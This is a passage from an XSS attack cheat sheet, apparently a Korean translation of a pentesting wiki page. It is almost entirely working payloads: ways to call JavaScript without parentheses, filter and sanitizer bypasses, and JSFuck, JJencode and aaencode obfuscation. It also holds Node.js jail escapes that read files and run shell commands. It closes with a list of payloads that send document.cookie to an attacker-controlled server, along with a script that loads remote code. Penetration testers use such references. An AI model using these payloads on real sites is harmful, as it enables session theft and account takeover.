x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
임의의 함수 (alert) 호출
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
공격자가 제어하는 데이터를 안전하지 않게 사용하는 JS code(예: location.href)가 존재합니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
설명의 분량이 길어져 DOM vulnerabilities it was moved to this page:
해당 페이지에서 DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명을 확인할 수 있습니다.
또한, 언급한 글의 끝부분에서 DOM Clobbering attacks에 대한 설명을 확인할 수 있다는 점을 잊지 마세요.
Self-XSS 업그레이드
Cookie XSS
페이로드를 쿠키 안에 넣어 XSS를 트리거할 수 있다면, 이는 보통 self-XSS입니다. 하지만 XSS에 취약한 하위 도메인을 발견하면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하여 메인 도메인이나 다른 하위 도메인(쿠키 XSS에 취약한 도메인들)에서 cookie XSS를 발생시킬 수 있습니다. 이를 위해 cookie tossing attack을 사용할 수 있습니다:
이 기법의 훌륭한 악용 사례는 this blog post에서 확인할 수 있습니다.
세션을 admin에게 전송하기
사용자가 자신의 프로필을 admin과 공유할 수 있고, 해당 프로필에 self XSS가 포함되어 있으며 admin이 이를 열람하면, admin이 취약점을 트리거하게 됩니다.
Session Mirroring
self XSS를 발견했고 웹 페이지가 administrator용 session mirroring을 제공하는 경우(예: 고객이 도움을 요청하면 administrator가 클라이언트의 세션을 자신의 세션에서 보게 되는 경우), administrator가 당신의 세션에서 보이는 내용을 자신의 세션에서 보게 됩니다.
이렇게 administrator가 당신의 self XSS를 트리거하도록 만들면 그의 쿠키/세션을 탈취할 수 있습니다.
기타 우회 방법
WASM linear-memory template overwrite를 통한 sanitization 우회
Emscripten/WASM을 사용하는 웹 앱에서는 상수 문자열(예: HTML format stubs)이 쓰기가 가능한 linear memory에 존재합니다. 단일 in‑WASM overflow(예: edit 경로에서의 unchecked memcpy)는 인접 구조를 손상시키고 이 상수들로의 쓰기를 리다이렉트할 수 있습니다. ““로 덮어쓰면 sanitization된 입력이 JavaScript handler 값이 되어 렌더링 시 즉시 DOM XSS를 발생시킵니다.
공격 워크플로우, DevTools 메모리 헬퍼, 방어 기법을 포함한 전용 페이지를 확인하세요:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
서버(또는 클라이언트 측)에서 reflected values가 unicode normalized 되는지 확인하고 이 기능을 악용해 보호장치를 우회할 수 있습니다. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment 때문에 따옴표가 HTML에 삽입되고, 따옴표 제한이 우회되어 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.
폼 예시 (from this report), payload를 전송하면:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
쌍 “Key”,“Value“는 다음과 같이 다시 출력됩니다:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
그런 다음 onfocus attribute가 삽입되어 XSS가 발생합니다.
특수 조합
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
만약 inject headers in a 302 Redirect response 할 수 있다면 make the browser execute arbitrary JavaScript를 시도해볼 수 있습니다. 이는 not trivial — 현대 브라우저는 HTTP response body를 HTTP response status code가 302일 때 해석하지 않기 때문에 단순한 cross-site scripting payload만으로는 효과가 없습니다.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
만약 javascript가 실행할 callback을 문자·숫자·점으로만 제한하여 지정할 수 있다면, 이 동작을 악용하는 방법은 Read this section of this post에서 확인하세요.
Valid <script> Content-Types to XSS
(From here) 만약 application/octet-stream 같은 content-type으로 스크립트를 로드하면 Chrome은 다음과 같은 오류를 발생시킵니다:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome이 loaded script를 실행하도록 허용하는 유일한 Content-Type들은 const kSupportedJavascriptTypes 내부에 있는 것들이며, 해당 내용은 https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc에서 확인할 수 있습니다.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS로 로드 가능한 스크립트 유형
(From here) 그러면 스크립트를 로드하도록 지정할 수 있는 타입들은 무엇일까?
<script type="???"></script>
정답은:
- module (기본값, 설명할 필요 없음)
- webbundle: Web Bundles는 HTML, CSS, JS… 등의 여러 데이터를 함께 묶어
.wbn파일로 패키징할 수 있는 기능입니다.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import 구문을 개선할 수 있게 합니다
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
이 동작은 this writeup에서 라이브러리를 eval로 재매핑하여 이를 악용하면 XSS를 유발할 수 있음을 보여주기 위해 사용되었습니다.
- speculationrules: 이 기능은 주로 프리렌더링으로 인해 발생한 일부 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types을 통한 XSS
(From here) 다음 Content-Types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 목록에는 없지만 CTF에서 본 것 같습니다)
- application/rss+xml (off)
- application/atom+xml (off)
다른 브라우저에서는 다른 **Content-Types**가 임의의 JS를 실행하는 데 사용될 수 있습니다. 확인: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
페이지가 text/xml content-type을 반환하는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 치환 패턴
다음과 같이 "some {{template}} data".replace("{{template}}", <user_input>) 같은 코드가 사용되는 경우, 공격자는 일부 보호를 우회하기 위해 special string replacements를 사용할 수 있습니다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어 this writeup에서는 이것을 사용해 스크립트 내부에서 JSON 문자열을 이스케이프하고 임의의 코드를 실행했습니다.
Chrome Cache to XSS
XS Jails Escape
사용 가능한 문자가 제한되어 있다면, XSJail 문제에 대한 다음의 다른 유효한 해결책들을 확인하세요:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
만약 untrusted code를 실행하기 전에 everything is undefined 상태라면 (예: this writeup) 임의의 untrusted code 실행을 악용하기 위해 “무(無)에서” 유용한 객체를 생성할 수 있다:
- import() 사용
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 간접적으로
require에 접근하기
이 글에 따르면 모듈은 Node.js에 의해 아래와 같이 함수로 래핑됩니다:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
따라서, 그 모듈에서 우리가 다른 함수를 호출할 수 있다면, 그 함수 내에서 arguments.callee.caller.arguments[1]를 사용해 **require**에 접근할 수 있습니다:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
이전 예제와 비슷하게, use error handlers를 이용해 모듈의 wrapper에 접근하고 require 함수를 얻을 수 있습니다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 한 페이지의 다양한 obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 더 정교한 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 일반적인 payloads
여러 payloads를 하나로
Iframe Trap
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하게 하여 그의 행동(forms로 전송된 정보 포함)을 탈취합니다:
Cookies 가져오기
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
